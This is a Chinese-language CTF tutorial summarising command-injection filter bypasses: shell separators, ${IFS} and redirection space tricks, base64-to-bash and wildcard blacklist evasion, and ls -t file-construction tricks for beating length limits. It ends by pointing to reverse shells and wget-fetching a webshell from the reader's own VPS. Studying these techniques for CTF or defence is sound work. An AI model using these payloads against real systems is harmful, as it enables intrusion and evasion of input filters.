CTF下的命令執行漏洞利用及繞過方法總結


 

常見管道符

 

Windows系統支持的管道符

|直接執行后面的語句
1.png
||如果前面命令是錯的那么就執行后面的語句,否則只執行前面的語句
2.png
&前面和后面命令都要執行,無論前面真假
3.png
&&如果前面為假,后面的命令也不執行,如果前面為真則執行兩條命令
4.png

 

Linux系統支持的管道符

1 |、||、&、&&這四種管道符都存在且用法和Windows系統下一樣,多了一個;管道符,作用和&一樣

空格過濾

${IFS}

payload1:

1 root@kali:~# cat flag
2 this is your flag
3 root@kali:~# cat${IFS}flag
4 this is your flag

payload2:

root@kali:~# cat${IFS}$1flag
this is your flag

payload3:

1 root@kali:~# cat$IFS$1flag
2 this is your flag

重定向符<>

payload1:

root@kali:~# cat<>flag
this is your flag

payload2:

1 root@kali:~# cat<flag
2 this is your flag

%09(需要php環境)

5.png

 

黑名單繞過

 

拼接

1 root@kali:~# a=c;b=at;c=fl;d=ag;$a$b $c$d
2 this is your flag

base64編碼

payload1:

1 root@kali:~# `echo "Y2F0IGZsYWc="|base64 -d`
2 this is your flag

payload2:

1 root@kali:~# echo "Y2F0IGZsYWc="|base64 -d|bash
2 this is your flag

單引號、雙引號

1 root@kali:~# c""at fl''ag
2 this is your flag

反斜線

1 root@kali:~# c\at fl\ag
2 this is your flag

$1、$2等和$@

 

1 root@kali:~# c$1at gh$@twf01.txt
2 hello ghtef01
3 nice blckder02

讀文件繞過

當cat被過濾時,可以使用如下命令代替

(1)more:一頁一頁的顯示檔案內容
(2)less:與 more 類似,但是比 more 更好的是,他可以[pg dn][pg up]翻頁
(3)head:查看頭幾行
(4)tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
(5)tail:查看尾幾行
(6)nl:顯示的時候,順便輸出行號
(7)od:以二進制的方式讀取檔案內容
(8)vi:一種編輯器,這個也可以查看
(9)vim:一種編輯器,這個也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:報錯出具體內容
 

通配符繞過

比如

 1 root@kali:~# /???/?[a][t] ?''?''?''?''
 2 this is your flag
 3 xx
 4 cc
 5 xa
 6 /bin/cat: test: 是一個目錄
 7 root@kali:~# /???/?at flag
 8 this is your flag
 9 xx
10 cc
11 xa
12 root@kali:~# /???/?at ????
13 this is your flag
14 xx
15 cc
16 xa
17 /bin/cat: test: 是一個目錄
18 root@kali:~# /???/?[a]''[t] ?''?''?''?''
19 this is your flag
20 xx
21 cc
22 xa
23 /bin/cat: test: 是一個目錄

當然還有更過分的,2333,這些在CTF比賽中可能會用到

內斂執行繞過

`命令`和$(命令)都是執行命令的方式

1 root@kali:~# echo "xx`pwd`"
2 xx/root
3 root@kali:~# echo "xx$(pwd)"
4 xx/root

繞過長度限制

 

Linux中的>符號和>>符號

(1)通過>來創建文件
6.png
(2)通過>將命令結果存入文件中
使用>命令會將原有文件內容覆蓋,如果是存入不存在的文件名,那么就會新建該文件再存入
7.png
(3)>>符號的作用是將字符串添加到文件內容末尾,不會覆蓋原內容
8.png

 

Linux中命令換行

在Linux中,當我們執行文件中的命令的時候,我們通過在沒有寫完的命令后面加\,可以將一條命令寫在多行
比如一條命令cat flag可以如下表示

1 root@kali:~# ca\
2 > t\
3 >  fl\
4 > ag
5 this is your flag
 

9.png
既然可以這樣那我們是不是可以在某些限制長度的情況下執行命令,將命令一條一條輸入一個文本中再執行,嘗試一下

 1 root@kali:~# echo "ca\\">cmd
 2 root@kali:~# echo "t\\">>cmd
 3 root@kali:~# echo " fl\\">>cmd
 4 root@kali:~# echo "ag">>cmd
 5 root@kali:~# cat cmd
 6 ca\
 7 t\
 8  fl\
 9 ag
10 root@kali:~# sh cmd
11 this is your flag

10.png
用這種方法可以繞過一些長度限制讀取文件內容

 

利用ls -t和>以及換行符繞過長度限制執行命令(文件構造繞過)

linux中,我們使用ls -t命令后,可以將文件名按照時間順序排列出來(后創建的排在前面)

1 root@kali:~/example# touch a
2 root@kali:~/example# touch b
3 root@kali:~/example# touch c
4 root@kali:~/example# ls -t
5 c  b  a

11.png
我們來看看ls -t>ghtwf01有什么效果(開始不存在ghtwf01這個文件)

1 root@kali:~/example# ls -t>ghtwf01
2 root@kali:~/example# cat ghtwf01 
3 ghtwf01
4 c
5 b
6 a

12.png
這條命令先執行了創建ghtwf01文件然后將ls -t的執行結果寫入ghtwf01文件
我們試試用這些方法來執行命令cat flag

 1 root@kali:~/example# > "ag"
 2 root@kali:~/example# > "fl\\"
 3 root@kali:~/example# > "t \\"
 4 root@kali:~/example# > "ca\\"
 5 root@kali:~/example# ls -t
 6 'ca\'  't \'  'fl\'   ag   flag
 7 root@kali:~/example# ls -t > a
 8 root@kali:~/example# sh a
 9 a: 1: a: not found
10 this is your flag
11 a: 6: flag: not found

13.png
讀取到了flag內容為this is your flag,無論這個文件里面有不有其它內容都能執行
總而言之文件構造繞過就是如下知識:

linux下可以用 1>a創建文件名為a的空文件
ls -t>test則會將目錄按時間排序后寫進test文件中
sh命令可以從一個文件中讀取命令來執行

反彈shell命令比較長就可以用這種方式去繞過長度限制
如果服務器能連外網還可以使用命令wget 網址 -O shell.php去執行我們自己vps上面的木馬文件


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM